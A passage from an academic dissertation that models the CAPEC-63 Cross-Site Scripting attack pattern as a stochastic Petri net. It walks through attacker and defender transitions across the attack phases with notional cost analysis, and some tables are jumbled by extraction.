information can be found in [Mayfield, 2018], and [Mayfield, 2019].
4.3.4

Verifying and Validating Cyberattack Models
In the fourth project, which is the subject of this dissertation, the model of

the target computer systems is verified and validated. Verification is the process
of determining whether a model’s implementation is consistent with its
specification [Petty, 2010]. In this work, PNPSC nets will be verified by
comparing them to their corresponding CAPEC attack pattern definitions and
simulation requirements. Methods to do so include analysis of the formal
properties of the PNPSC nets and verifying the net’s reachable markings against
allowable attack states described using predicate calculus.
Validation is determining the degree to which a model’s behavior and
output are consistent with the system or phenomenon being modeled [Petty,
2010]. The PNPSC nets will be validated against actual cyberattacks using
methods that include manual execution of attack sequences represented in the
PNPSC net [Christensen, 2017] and face validation using panels of cybersecurity
subject matter experts [Cantrell, 2018].
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Figure 4.7: Verifying and Validating Cyberattack Models
This project is illustrated in Figure 4.7. Additional information can be
found in [Christensen, 2017], [Cantrell, 2018], and [Showers, 2019].
4.3.5

Learning Cyberattack and Defense Strategies

In the fifth project, the validated model is executed to simulate cyberattacks.
Multiple iterations of a simulated attack are executed to support a machine
learning algorithm, specifically reinforcement learning with an ε-greedy policy
[Sutton, 2018]. The algorithm’s task is to learn which actions to take, i.e., which
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Figure 4.8: Learning Cyberattack and Defense Strategies
transition rates to change for the different observable markings of the PNPSC net,
to accomplish the goals of either the attacker or the defender. The reinforcement
learning algorithm is designed to be either an attacker or a defender, and its
learning process is intended to be robust even if opposed by a player that is also
learning.
This project is illustrated in Figure 4.8. Additional information on this
project can be found in [Bland, 2018] and [Bland, 2020].
4.4 CAPEC PNPSC Net Example
The following subsections examine the design of the validated PNPSC net
from the CAPEC-63 Cross-Site Scripting attack pattern that this study has
developed. The entire PNPSC net representing CAPEC-63 is illustrated in Figure
4.9. In Subsection 4.5.1, the transformation from CAPEC XML to PNPSC
executable model is considered. In Section 4.5.2, the PNPSC net design is
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described, and an example is provided that will follow a specific traversal through
the PNPSC net. In Subsection 4.5.3, the example continues by showing the
calculation of cost for both the attacker and the defender.

Figure 4.9: CAPEC-63 PNPSC
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4.4.1

Transforming CAPEC XML into PNPSC
The CAPEC attack pattern definitions are represented online as human-

readable text and as XML. In this research, the CAPEC XML is used to develop
executable PNPSC nets for simulation purposes. In this subsection, that
transformation process is briefly described.
The CAPEC attack pattern definitions can be decomposed into a series of
phases including Explore, Experiment, Exploit, and Goals or Consequences. The
phases can be decomposed further into intermediate goals12 that are achieved by
executing an attack Technique. For example, the Explore phase of CAPEC-63
Cross-Site Scripting is structured in the following way [MITRE Corporation,
2020a]:
•

Intermediate goal: Survey the application for user-controllable inputs
o Using a browser or an automated tool, an attacker follows all
public links and actions on a website. He records all the links, the
forms, the resources accessed, and all other potential entry points
for the web application.
o Techniques

12

The term "intermediate goal" is not part of the CAPEC schema. It has been
adopted in this research program for clarity.

72

▪

Use a spidering tool to follow and record all links and
analyze the web pages to find entry points. Make special
note of any links that include parameters in the URL.

▪

Use a proxy tool to record all links visited during a manual
traversal of the web application.

▪

Use a browser to manually explore the website and analyze
how it is constructed. Many browsers' plugins are available
to facilitate the analysis or automate the discovery.

The structure listed above is typical of the Explore, Experiment, and Exploit
phases of CAPEC attack pattern definitions. When the phases exist (they are not
required), they have one or more intermediate goals. Intermediate goals
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<Attack_Step>
<Phase>Explore</Phase>
<Step> 1 </Step>
<Description>
[Survey the application for user-controllable inputs] Using a browser
or an automated tool, an attacker follows all public links and actions
on a web site. They record all the links, the forms, the resources
accessed and all other potential entry-points for the web application.
</Description>
<Technique>
Use a spidering tool to follow and record all links and analyze the
web pages to find entry points. Make special note of any links that
include parameters in the URL.
</Technique>
<Technique>
Use a proxy tool to record all links visited during a manual traversal
of the web application.
</Technique>
<Technique>
Use a browser to manually explore the website and analyze how it is
constructed. Many browsers' plugins are available to facilitate the
analysis or automate the discovery.
</Technique>
</Attack_Step>

Figure 4.10: CAPEC-63 PNPSC Explore Phase XML
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may or may not be complemented by one or more Techniques, which are also not
required.13
The XML representing the intermediate goal listed above is in Figure
4.10. In the first project of this research program, discussed in this subsection, an
application was developed to generate cyberattack component models based on
the CAPEC XML.
Each of the Techniques represented in Figure 4.10 is represented as paths
through the PNPSC net that can result in the realization of an intermediate goal by
the attacker. The execution of the CAPEC-63 Explore phase is discussed
beginning in Subsection 4.5.2.

13

When elements of the CAPEC attack patterns are not included, that can lead to
scenarios where the attack patterns are not suitable for PNPSC modeling. Those
scenarios are discussed in Section 8.1.
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<place id=" aP2">
<initialMarking>
<value>Default,0</value>
</initialMarking>
<capacity>
<value>1</value>
</capacity>
<observable>
<value>non-player</value>
</observable>
</place>
<transition id="aT2">
<rate>
<value>1</value>
</rate>
<timed>
<value>true</value>
</timed>
<controllable>
<value>attacker</value>
</controllable>
</transition>
<arc id="aP2-aT2" source="aP2" target="aT2">
<inscription>
<value>Default,1</value>
</inscription>
</arc>

Figure 4.11: CAPEC-63 PNPSC Explore Phase PNML (partial)
The executable PNPSC nets are encoded in an extension of XML known
as Petri Net Modeling Language (PNML) [PNML.org, 2015]. PNML is described
in more detail in Section 5.2. A portion of the PNML code segment representing
the Technique "Use a spidering tool…" and generated from the XML listed in
Figure 4.10 is listed in Figure 4.11. The PNML code listed in Figure 4.11
generates part of the PNPSC net segment illustrated in Figure 4.12.
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Figure 4.12: CAPEC-63 PNPSC Explore Phase Model Segment

In Figure 4.11, there are three elements of the PNPSC net segment illustrated in
Figure 4.12 represented: place aP2, transition aT2, and the arc between them. For
the sake of brevity, other elements of the net segment and attributes that are not
relevant to the PNPSC net execution are not included.
The place aP2 is specified to have an initial marking of 0, a capacity of 1,
and to be observable by the attacker. Native PNML supports Place-Transition
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Petri nets14, Symmetric Nets, and High-Level Petri Net Graphs [PNML.org,
2015]. PNML has been extended by this research team to incorporate tags that
support PNPSC attributes not included in standard Petri nets. These tags include
player-observable places and player-controllable transitions. The transition aT2 is
specified as a timed transition with a rate of 1 that is controllable by the attacker.
An arc from place aP2 to transition aT2 is also specified. The "inscription" tag
specifies the arc weight in standard PNML.
4.4.2

CAPEC-63: Cross-Site Scripting PNPSC Net Analysis
As can be seen in Figure 4.9, the net is fairly large and therefore the

example is in four parts. The first explains the Explore phase of the net, followed
by the Experiment phase, Exploit phase, and ending with the Goals phase. In
each part of the diagram, an explanation is included to display each type of
occurrence that could take place.
The Explore phase is the first phase of that attack and is shown in Figure 4.13.
The places and transitions are shown in Table 4.3 and Table 4.4 respectively.
There are four possible outcomes in the Explore phase: (1) the attack will be

14

Place-transition nets, as defined by the PNML standard, are known as standard
Petri nets in this research program.
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Figure 4.13: CAPEC-63 PNPSC Net Explore Phase
successful and the attacker will be able to proceed to the Experiment phase, (2)
the attacker will fail all of his/her options to be successful in the Explore phase of
the attack, (3) the attacker will fail one of the methods and will have the
opportunity to attempt another un-attempted method (as long as it is available),
(4) the attacker will be detected by the defender. Being detected by the defender
does not block the attack. The attacker can continue to either outcome: (1) or (3).
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Table 4.3: CAPEC-63 PNPSC Net Explore Phase Places
Place

Description

aP1

Target client software must be a client that allows scripting communication from remote
hosts

aP2

Explore phase of the attack occurring

aP3

Spidering website occurring

aP4

Spidering successful

aP5

Spidering websites failed

aP6

The use of proxy tool occurring

aP7

Proxy tool successful

aP8

Use of proxy tool failed

aP9

Use of browser attack occurring

aP10

Use of browser successful

aP11

Use of browser attack is failed

aP12

Explore phase attack failed

aP13

Survey application successful

aP14

Defender detected spidering

aP15

Defender detected proxy tool use

aP16

Defender detected browser exploration
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Table 4.4: CAPEC-63 PNPSC Net Explore Phase Transitions
Transition

Description

Rates

aT1

Attacker surveys the application for user-controllable inputs

4

aT2

Attacker attempts to spider website

4

aT3

Attacker successfully spiders web sites

2

aT4

Attacker fails in spidering website

2

aT5

Attacker attempts to use proxy tool to record all links

7

aT6

Attacker successfully use proxy tool to record links

2

aT7

Attacker fails to use proxy tool

5

aT8

Attacker attempts to use a browser to manually explore the website

2

aT9

Attacker successfully use a browser to manually explore the website

5

aT10

Attacker fails to use browser attack

1

aT11

Attacker fails in the explore phase

8

aT12

Defender detects spidering

2

aT13

Defender detects proxy tool use

4

aT14

Defender detects browser exploration

6

The attack starts with the prerequisite that the target client software allows
for scripting communication from remote hosts. The first action taken by the
attacker is to survey the applications for user-controllable inputs (aT1). The
attacker has three methods that he/she can pursue to achieve an intermediate goal
of moving forward to the Experiment phase: (1) attempt to spider the website
(aT2), (2) attempt to use proxy tools to record all links (aT5), and (3) attempt to
use a browser to manually explore the website (aT8). The defender also has a goal
during this phase and that is to gain knowledge that an attack is taking place. If
the defender gains knowledge that the attacker has attempted all three methods to
achieve his/her goal to move on to the Experiment phase then the only choice the
attacker will have left is (aT11) which will take the attacker to a fail state. To run
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through the example, one of the methods that the attacker can attempt will be
followed to allow for a specific outcome, and other paths that are similar in each
method will be explained.
The transitions that represent the actions that the attacker takes at the
beginning of the Explore phase are player-controlled and have firing rates that the
attacker may manipulate. For this example, notional rates are used; realistic rates
would later be determined by subject matter experts. A cost analysis of the
attacker’s and the defender’s actions will be shown in Subsection 4.4.3 by
following the actions that are taken from the beginning of a new attack to the end.
If the attacker manipulates the transition rates so that aT2 fires first, then
the attacker will be attempting to spider the website (aP3). There are three
outcomes from the attacker spidering the website: the attacker may be successful
(aP13), the attacker might fail (aP5), or the defender might detect that spidering is
taking place (aP14). In this example, the assumption is made that the attacker
fails to spider the website, having a token fire through aT4 to aP5 and aP2. If aP5
is marked, an inhibitor arc will inhibit the transition aT2 from ever firing again.
The inhibitor arc prevents the attacker from attempting this method of attack
again after he/she has already failed once with this method. However, even if the
attacker fails at this attempt, he/she may continue to pursue his/her goal through
other methods. The attacker could still try to use proxy tools (aT5) or manually
explore the website (aT8). Therefore, a token is returned to aP2 to enable the
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transitions that will allow for the attacker to attempt a different method to succeed
in the Explore phase.
With a second chance at hand, assume transition aT5 fires next. If this
transition fires, aP6 will be marked where the attacker uses the proxy tool. Here
the same three outcomes could occur as with the attacker’s attempt to spider the
website: the attacker might fail, succeed, or the defender could detect the attack.
If transition aT13 fires next, the defender detects the use of proxy tool attack. At
this point transition aT13, which represents the defender gaining knowledge of the
attack, will fire and a token and be placed into aP15. Marked place aP15
indicates that the defender has gained knowledge of the attack, and a token will be
placed back to aP6. This event does not represent the defender attempting to stop
the attack, but rather the defender becoming aware that something is going on.
The defender may not block an attack at this point because there are situations
where a security log could have incorrect information showing a false-positive
result, and therefore would not be beneficial for the defender to use his/her
resources to block the attack. However, the fact that the defender has been made
aware that an attack is occurring could be useful later in the attack, which is the
reason why the net’s marking records that the defender knows of the attack.
Because the defender does not block the attack the token at aP6 will now allow
for the attacker to either succeed or fail using the proxy tool. Here we will
assume that the transition firing aT7 will fire next. When transition aT7 fires,
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tokens will be placed in aP8 and aP2. The token in aP8 marks the fact that the
attacker was not successful in using proxy tools and therefore the inhibitor arc
from aP8 to aT5 prevents the transition for this attempt to be enabled again. The
token in aP2 allows for the attacker to either manually explore websites or fail the
explore phase of the attack altogether.
The assumption is made that the transition aT8 for the attacker to browse
the website manually will fire next. When place aP9 is marked, the transitions are
enabled, aT9, aT10, and aT14. These transitions represent success, failure, and
detection respectively. In this example, the transition that fires is the successful
use of the browser to manually explore the websites. A token will be placed in
aP10 to indicate that the browser attack was successful for later calculations, and
a token will be placed in aP13 to demonstrate that the Explore phase has been
successful. From here bT1 fires and the attacker moves on to the Experiment
phase. Before continuing, it should be noted that had the attacker failed at this
method, then a token would have gone back to aP2 and at this point, the only
enabled transition would have been aT11, which corresponds to the attacker
failing to explore the system.
Once the attacker succeeds in the Explore phase he/she will be able to
move on to the Experiment phase. Figure 4.14 provides a closer look at the
Experiment phase of the PNPSC net. The corresponding places and transitions
are shown in Table 4.5 and Table 4.6 respectively. As can be seen, once the
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attacker starts the Experiment phase he/she has different methods available.
Similar in design to the Explore phase, this particular Experiment phase has four
methods that can be attempted before the attacker fails to perform the attack
during the Experiment phase.

Figure 4.14: CAPEC-63 PNPSC Net Experiment Phase
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Table 4.5: CAPEC-63 PNPSC Net Experiment Phase Places
Place

Description

bP1

Experiment phase of the attack occurring

bP2

Use of injected script in parameters occurring

bP3

Use of injected script in parameters successful

bP4

Use of injected script in parameters

bP5

Potential entry points for XSS vulnerability is identified

bP6

Proxy tool to record results occurring

bP7

Proxy tool to record results occurring successful

bP8

Proxy tool to record results occurring

bP9

Injection script into UI entry fields occurring

bP10

XSS probe string to inject script into UI entry fields successful

bP11

XSS probe string to inject script into UI entry fields

bP12

Injection script into resources occurring

bP13

XSS probe string to inject script into resources successful

bP14

XSS probe string to inject script into resources

bP15

Experiment phase attack failed

bP16

Defender detected use a list of XSS probe strings to inject script in
parameters of known URLs occurring
Defender detected use a proxy tool to record results of manual input of XSS
probes occurring
Defender detected use a list of XSS probe strings to inject script into UI entry
fields occurring
Defender detected use a list of XSS probe strings to inject script into
resources accessed by the application occurring

bP17
bP18
bP19
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Table 4.6: CAPEC-63 PNPSC Net Experiment Phase Transitions
Transition
bT1

Description
Attacker moves to experiment phase

Rates
1

bT3

Attack attempts to use a list of XSS probe strings to inject script in
parameters of known URLs
Attacker successfully injects script via parameters

bT4

Attacker fails to inject script via parameters

7

bT5

Attacker attempts to use a proxy tool to record results

9

bT6

Attacker successfully records results via proxy tool

9

bT7

Attacker fails to proxy tool to record results

2

bT2

8
7

bT9

Attacker attempts to use probe strings to inject script into UI entry
fields
Attacker successfully uses injection script into UI entry fields

bT10

Attacker fails to use injection script into UI entry fields

2

bT11

Attacker attempts to use injection script into resources

7

bT12

Attacker successfully uses injection script into resources

5

bT13

Attacker fails to use injection script into resources

8

bT14

Attacker fails in the experiment phase

7

bT8

bT15
bT16
bT17
bT18

Defender detected use a list of XSS probe strings to inject script in
parameters of known URLs occurring
Defender detected use a proxy tool to record results of manual input
of XSS probes occurring
Defender detected use a list of XSS probe strings to inject script
into UI entry fields occurring
Defender detected use a list of XSS probe strings to inject script
into resources accessed by the application occurring

During the Experiment phase of the attack there are four possible
outcomes: (1) the attack will be successful and the attacker will be able to
proceed to the Exploit phase, (2) the attacker will fail all of his/her options to be

87

7
4

5
1
3
8

successful in the Experiment phase of the attack, (3) the attacker will fail one of
the methods and will have the opportunity to attempt another unattempted method
(as long as it is available), (4) the attacker will be detected by the defender. Being
detected by the defender does not block the attack. The attacker can continue to
either outcome: (1) or (3).
In the Experiment phase of the attack, the four methods that the attacker
can attempt are: (1) to use a list of XSS probe strings to inject script in parameters
of known URLs (bT2), (2) attempt to use a proxy tool to record results (bT5), (3)
attempt to use probe strings to inject script into the user interface entry fields
(bT8), (4) attempt to use injection script into resources (bT11). However, if the
attacker is not successful with any of these methods then the attack fails (bT14).
Just as with the Explore phase of the attack, each method attempted during the
Experiment phase has the same outcomes as those of the Explore phase. If the
attacker fails using a specific method, an inhibitor arc will prevent another
attempt to use the same method. However, the attacker may be able to attempt
another method, if one is available. The attacker may be detected by a defender;
however, the detection does not impact the attacker’s intermediate goal in
completing the Experiment phase. If the attacker fails all possible methods in the
Experiment phase, then the attacker fails and is not permitted to move on to the
Exploit phase. The main difference, other than an additional method to complete
this phase of the attack, between the Explore and the Experiment phases, is that
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within the Experiment phase four transitions have rates affected by actions that
the attacker took during the Explore phase. The affected transitions are: (bT3)
attacker successfully injects script via parameters, (bT6) attacker successfully
records results via proxy tool, (bT9) attacker successfully uses injection scripts in
the user interface entry fields, and (bT12) attacker successfully uses injection
script into resources.

If any of the three success places (aP4, aP7, aP10) found in

the Explore phase have a token, then the firing rate transitions (bT3, bT6, bT9,
bT12) in the Experiment phase could be increased.
If the attacker uses the Technique, (2) attempt to use a proxy tool to record
results, to complete the Experiment phase, then a token will be placed in bP3 and
bP5. Marked place bP3 indicates what Technique the attacker used to complete
the Experiment phase, while marked place bP5 indicates the completion of the
Experiment phase. Marked place bP3 can affect transition rates in the Exploit
phase.
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Figure 4.15: CAPEC-63 PNPSC Net Exploit Phase
If the attacker is successful in the Experiment phase, the next phase is the
Exploit phase, which is shown in Figure 4.15. The places and transitions are
shown in Table 4.7 and Table 4.8 respectively. The Exploit phase is similar in
design to the Experiment phase. If the attacker is successful in the Experiment
phase he/she will continue the attack and be able to select a method in which
he/she will be able to exploit the system. With Cross-Site Scripting, five different
methods can be attempted before the attacker fails.
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Table 4.7: CAPEC-63 PNPSC Net Exploit Phase Places
Place Description
cP1

Exploit phase of the attack occurring

cP2

Load victim’s browser with scripts and send info occurring

cP3

Load victim’s browser with scripts and send info successful

cP4

Load victim’s browser with scripts and send info flag

cP5

Exploit phase successful

cP6

Browser takes command occurring

cP7

Browser takes command successful

cP8

Browser takes command flag

cP9

Load victim’s browser with scripts to perform actions occurring

cP10

Load victim’s browser with scripts to perform actions successful

cP11

Load victim’s browser with scripts to perform actions flag

cP12

cP14

Load victim’s browser with scripts to execute requests to other websites
occurring
Load victim’s browser with scripts to execute requests to other websites
successful
Load victim’s browser with scripts to execute requests to other websites flag

cP15

Load victim’s browser with scripts to expose invalid info to the user occurring

cP16

Load victim’s browser with scripts to expose invalid info to the user successful

cP17

Load victim’s browser with scripts to expose invalid info to the user flag

cP18

Exploit phase attack failed

cP19

Defender detected an attempt to develop malicious JavaScript that is loaded by
the victim’s browser and sends document information to the attacker occurring

cP20

Defender detected an attempt to develop malicious JavaScript that takes
commands from an attacker’s server and then causes the browser to execute
appropriately occurring
Defender detected an attempt to develop malicious JavaScript that is loaded by
the victim’s browser and performs actions on the same website occurring

cP13

cP21
cP22

cP23

Defender detected an attempt to develop malicious JavaScript that takes
commands from an attacker’s server and then causes the browser to execute
a request to other websites occurring
Defender detected attempt to develop malicious JavaScript that is loaded by the
victim's browser and exposes attacker-modified invalid information to the user
on the current web page occurring
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Table 4.8: CAPEC-63 PNPSC Net Exploit Phase Transitions
Transition

Description

Rates

cT1

Attacker moves to exploit phase

8

cT2

6

cT3

Attacker attempts to load victim’s browser with malicious scripts and sent to
attacker
Attacker succeeds in loading victim’s browser with scripts and send info

cT4

Attacker fails to load victim’s browser with scripts and send info

2

cT5

Attacker attempts to cause browser to take command

7

cT6

Attacker successfully causes browser to take command

6

cT7

Attacker fails to cause browser to take command

1

cT8

Attacker attempts to load victim’s browser with malicious scripts to perform
actions

5

cT9
cT10
cT11

Attacker succeeds in loading victim’s browser with scripts to perform actions
Attacker fails to load victim’s browser with scripts to perform actions
Attacker attempts to load victim’s browser with scripts to execute requests to other
websites
Attacker succeeds in loading victim’s browser with scripts to execute requests to
other websites

9
5
1

cT13

Attacker fails to load victim’s browser with scripts to execute requests to other
websites

8

cT14

Attacker attempts to load victim’s browser with scripts to expose invalid info to
the user

9

cT15

Attacker succeeds in loading victim’s browser with scripts to expose invalid info
to the user
Attacker fails to load victim’s browser with scripts to expose invalid info to the
user
Attacker fails in the exploit phase

2

Defender detects JavaScript that sends document information to the attacker
occurring
Defender detects JavaScript that takes commands from an attacker’s to execute
appropriately occurring

7

cT20

Defender detects JavaScript that performs actions on the same web site occurring

5

cT21

Defender detects JavaScript that causes the browser to execute request to other
web sites occurring

2

cT22

Defender detects JavaScript that exposes attacker-modified invalid information to
the user on the current web page occurring

6

cT12

cT16
cT17
cT18
cT19
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1

5

4
5

2

The five methods are: (1) load the victim’s browser with malicious scripts
and send the retrieved information to the attacker (cT2), (2) cause the browser to
take commands (cT5), (3) load the victim’s browser with malicious scripts to
perform actions (cT8), (4) load victim’s browser with scripts to execute requests
to other websites (cT11), and (5) load victim’s browser with scripts to expose
invalid info to the user (cT14), If none of these methods succeed, the attacker will
have failed the Exploit phase (cT17).
As with the previous phases, the Exploit phase has the same three
outcomes for the attempts of each method: the attacker can succeed, be detected
by the defender, and continue, or the attacker may fail one method and can
continue to another. The Exploit phase is also similar to the Experiment phase
where some transition rates are affected by previously marked places. That is,
marked places in the Experiment phase can impact transition firing rates in the
Exploit phase.
Of all the possible actions that the attacker can take at this point in the
Exploit phase, this example will assume that transition cT14 will fire next. If
transition cT14 fires, a token is placed into cP15 which represents the attacker is
loading the victim’s browser with scripts to expose invalid information to the
user. From the three possible outcomes, transition cT22 is assumed to fire next,
which presents the defender detecting that there is an attack in progress, and a
token is placed in cP23 to flag that the defender has that knowledge, and the
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attacker actually fails at the attempt to load the victim’s browser with scripts
(cT16). A token is placed in cP17 to flag that the attacker has failed, a token is
sent back to cP1 where the attacker will have the chance to attempt a different
action, and an inhibitor arc connects to transition cT14 to prevent the transition
from becoming enabled again. The attacker’s next action is to attempt to cause
the browser to take commands (cT5); this will place a token into cP6. Here the
attacker is successful, and a token is placed into cP7 to flag his/her success and a
token is placed into cP4 which will allow for the attacker to continue to the Goals
phase.
If the attacker successfully completes the Exploit phase, then he/she will
reach the Goals phase of the PNPSC net. The Goals phase is represented in
Figure 4.16. In this phase there are three outcomes: (1) the attacker succeeds
based on the goal in mind, (2) the attacker is blocked actively or passively, (3) the
attacker fails to succeed with his/her goal. Once the attacker enters the Goals
phase of the attack there are four goals that he/she may have according to
CAPEC-63: (1) the attacker attempts to read data, (2) the attacker attempts to gain
privileges, (3) the attacker attempts to execute unauthorized code, or (4) the
attacker attempts to modify the applications. Once the attacker has selected a goal
to achieve, the PNPSC net then represents the strategies available to the attacker
and defender (dP7). At this point there are eight enabled transitions; two of those
transitions rates are affected based on the markings on the previous phases of the
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Figure 4.16: CAPEC-63 Goals Phase
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Table 4.9: CAPEC-63 Goals Phase Places
Place

Description

dP1

Goals phase of the attack occurring

dP2

Read application data flag

dP3

Failed attack

dP4

Goals phase failed

dP5

Gain privileges flag

dP6

Goal decided

dP7

Attacker/Defender strategies

dP8

Goal successful

dP9

Defense has knowledge of system attack

dP10

Attacker’s goal blocked

dP11

Modify application data flag

dP12

Execute unauthorized code flag

PNPSC net. The other four transitions rates are affected by the attacker failing to
achieve the set goal, and the last two transitions rates are affected by an intrusion
detection system picking up on the attack and being able to block it or an active
defender noticing the attack and being able to block it without the previous
knowledge gathered from the other phases.
In Figure 4.16, transition dT9 represents the action that the attacker is
successful in reaching his/her goal. The places and transitions are shown in Table
4.9 and Table 4.10 respectively. The rate for this transition is determined by the
success that the attacker had with the different methods to exploit the system in
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the previous phase. The transition dT10 represents the defender monitoring the
attack. This transition is influenced by the past knowledge that was gained by the
defender as far back as the Explore phase. Every time a token was placed in the
defender detection state, it impacts the calculation for transition dT10’s rate in the
goal phase. With this knowledge, the defender would be able to block the
attacker from achieving his/her goal. As long as the defender has not blocked the
attacker and the attacker has not been successful, he/she is capable to continue to
attempt to achieve their goal, hence the “loopback” from dT4 to dP1.
To continue with a specific path example, assume that transition dT6 fires
next. Therefore, a token will be placed in dP5, which indicates the attacker’s
attempted goal, and dP6, which flags that a decision has been made by the
attacker on which goal to focus on. At this point, transition dT8 is not enabled
because it has two incoming arcs, both transitions dP5 and dP7 must be marked
for the transition to become enabled. The only currently enabled transition is dT7,
where the cyberattack moves into a portion of the phase where the attacker has
abilities that can be followed to success, or from the defender’s perspective, to be
able to block the attack. When transition dT7 fires, the token traverses from
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Table 4.10: CAPEC-63 Goals Phase Transitions
Transition

Description

Rates

dT1

Attacker moves to goals phase

3

dT2

Attacker attempts to read app

2

dT3

Attacker fails to read app data

9

dT4

Attacker tries again

6

dT5

Attacker fails at goal attempt

3

dT6

Attacker attempts to gain privileges

4

dT7

Attack moves to Attacker/Defender strategies

6

dT8

Attacker fails to gain privileges

1

dT9

Attacker succeeds in reaching a goal

5

dT10

Defender monitors attack

3

dT11

Defender blocks actively

6

dT12

Defender blocks passively

4

dT13

Attacker fails to modify application data

3

dT14

Attacker fails to execute unauthorized code

1

dT15

Attacker attempts to execute unauthorized code

1

dT16

Attacker attempts to modify app

9

dP6 to dP7. At this point, dT8 is enabled, along with dT9, dT10, and dT12. The
defense block could occur through some hardware/software device that stops the
attack without a human defender being involved in the process. Assuming that
transition dT10 fires next, a token will be placed into dP9. Marked places (dP7,
dP9) enable transition dT11, thus allowing the defender to block actively. If an
attacker fails an attack, he/she would have the opportunity to select a different
goal. If an attacker’s attack is blocked, then the attacker is no longer able to try
again.

98

Now that an example execution of a PNPSC net has been explained,
Subsection 4.4.3 will follow an execution based on specific transition firing rates
and calculate the cost of both the attacker’s and the defender’s actions by each
time step taken.
4.4.3

CAPEC-63: Cross-Site Scripting PNPSC Cost Analysis
In Subsection 4.4.2, different execution sequences that an attack might

follow were discussed. In this subsection, a specific execution sequence is
explained in a step-by-step manner and the costs of the attacker’s and defender’s
actions are calculated. Throughout the example, it is assumed that when multiple
transitions are enabled, the one with the highest rate fires. To provide significant
results, multiple executions of the attack would be required; this example is just
an illustration of the process.
Table 4.11 displays the transitions, rates, actions, and results associated
with enabled transitions and the cost associated if the transitions fire during the
Explore phase of CAPEC-63. Costs marked by “(a)” are those associated with
attackers, those with “(d)” are for the defender. If a transition does not fire, there
was not player-controlled, and a cost is not incurred by any player. When the
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Table 4.11: Cost Analysis of the Explore Phase of PNPSC for CAPEC-63
1

aT1

4

Transition enabled – fires

2

aT2

4

Transition enabled – does not fire

aT5

7

Transition enabled – fires

aT11

4

Transition enabled – does not fire

aT8

6

Transition enabled – does not fire

aT13

4

Transition enabled – does not fire

aT6

2

Transition enabled – does not fire

aT7

5

Transition enabled – fires (token placed in aP8)

aT2

4

Transition enabled – does not fire

3

4

—

aT5

5

6

1(a)

Transition enabled – does not fire

aT11

4

Transition enabled – does not fire

aT8

6

Transition enabled – fires

aT9

5

Transition enabled – does not fire

aT14

6

Transition enabled – fires (token placed in aP16)

aT10

1

Transition enabled – does not fire

aT9

5

Transition enabled – fires (token placed in aP10)

aT10

1

Transition enabled – does not fire

is no cost. If a transition fires and does not have a cost, it is because the transition
attack begins, the attacker is aware that the client system allows for scripting
communication from remote hosts.
The attacker will survey the application for user-controllable inputs, which
is the only enabled transition when the attack begins (aT1). This transition is not
player-controlled and therefore there is no cost associated with it firing. Once the
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1(a)

2(d)

attacker decides to start the Explore phase there will be four enabled transitions,
three of which are considered to be player-controlled by the attacker, and thus the
attacker is capable of manipulating the firing rates to influence which one fires.
Table 4.11 shows the transition rates that have been assigned to the four enabled
transitions. Transition aT11 is not player-controlled because it is a transition that
leads to the failure of the attack. Transition aT5 fires and the attacker will attempt
to use proxy tools to record all available links that can be used in the attack.
Because this is an attacker-controlled transition and one token is consumed when
it fires, which costs the attacker a cost of 1. Cost values are assumed to be
equivalent to the number of incoming tokens to the firing transition. A new set of
transitions is enabled and the attacker will be successful or fail in gathering links.
The defender is also able to detect that proxy tools are in use. Based on the
assigned firing rates, the attacker fails to use the proxy tool (aT7), and a token is
placed in aP8 and another token is placed in aP2. The attacker can now select a
different method for his/her attack. There is an inhibitor arc between place aP8
and transition aT5 which means that the attacker cannot attempt to use a proxy
tool again to gather links. The newly enabled transitions allow the attacker to
attempt to spider the website (aT2) or manually explore the website (aT8). The
attacker has control over these two transitions while a third transition (aT11) leads
to failure of the attack. Based on the firing rates, the next attempt by the attacker
is to manually explore the website for vulnerabilities (aT8). The attacker’s attempt
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to use the browser to manually explore the website has two possible outcomes;
the attacker will be successful or unsuccessful. There is also a chance that the
defender will detect that the attacker is attempting to gather information. With the
given rates, the defender detects the attack (aT14) and a token is put into place
aP16, which indicates that the defender now has knowledge that something is
occurring but is not taking action to stop the attack. The transition that represents
the defender gaining knowledge of the attack is a defender-controlled transition.
Because two tokens are consumed by this transition, the cost to the defender is 2.
One of the tokens is sent back to place aP2 for the attacker to continue to
manually explore the website (aT8). The transition representing success fires next
(aT9). A token is placed in aP10 and aP13 to allow for the attack to continue to
the Experiment phase. The cost analysis is documented in Table 4.12.
When the attacker is successful in the Explore phase, he/she moves into
the Experiment phase by the firing of transition bT1, which enables four
transitions under the attacker’s control and one transition that leads to failure of
the attack. The attacker now has four choices: (1) use a list of Cross-Site script
probe strings (bT2), (2) use a proxy tool to record vulnerable results (bT5), (3)
probe strings into the user interface entry fields (bT8), (4) and use injection scripts
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Table 4.12: Cost Analysis of the Experiment Phase of PNPSC for CAPEC-63
Time

Transition

Rate

Action & Result

7

bT1

1

Transition enabled – fires

8

bT2

8

Transition enabled – does not fire

bT5

9

Transition enabled – fires

bT8

7

Transition enabled – does not fire

bT11

7

Transition enabled – does not fire

bT14

7

Transition enabled – does not fire

bT7

2

Transition enabled – does not fire

bT16

1

Transition enabled – does not fire

9

bT6

9 (aP10+5)

Cost

1(a)

Transition enabled – fires (token placed
in bP7)

(bT11). If the attacker is not successful with any of these attempts he/she will fail
the attack during the Experiment phase (bT14). Based on the given rates, assume
transition bT5 fires and the attacker will attempt to use a proxy tool to record
vulnerability results, with a cost 1.
The attacker has now the opportunity to succeed or fail. The defender also
can gain knowledge of what is being done. In the current scenario, the success of
the attacker (bT6) fires next. This rate is affected by currently marked places that
indicate relevant events that occurred earlier in the attack. During the Explore
phase, the attacker was successful in manually using the using a browser to
explore the website (aP10), thus the token that is found in marked place aP10
increases transition bT6’s rate by adding five to it. Increasing the rate made no
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difference in the example, but it could in actual execution. When transition bT6
fires, places bP7 and bP5 are marked. Marked place bP5 allows the attacker to
continue to the Exploit phase of the attack.
Table 4.13: Cost Analysis of the Exploit Phase of PNPSC for CAPEC-63
Time

Transition

Rate

Action & Result

10

cT1

8

Transition enabled – fires

11

cT2

6

Transition enabled – does not fire

cT5

7

Transition enabled – does not fire

cT8

5

Transition enabled – does not fire

cT11

1

Transition enabled – does not fire

cT17

5

Transition enabled – does not fire

cT14

9

Transition enabled – fires

12

13

14

15

cT15

2 (bP7+1)
4

Transition enabled – does not fire

cT22

6

Transition enabled – fires

2 (bP7+1)
4

Transition enabled – fires

cT2

6

Transition enabled – does not fire

cT5

7

Transition enabled – fires

cT8

5

Transition enabled – does not fire

cT11

1

Transition enabled – does not fire

cT17

5

Transition enabled – does not fire

cT14

9

Transition not enabled

cT7

1

Transition enabled – does not fire

cT19

2

Transition enabled – does not fire

6 (bP7+1)

2(d)

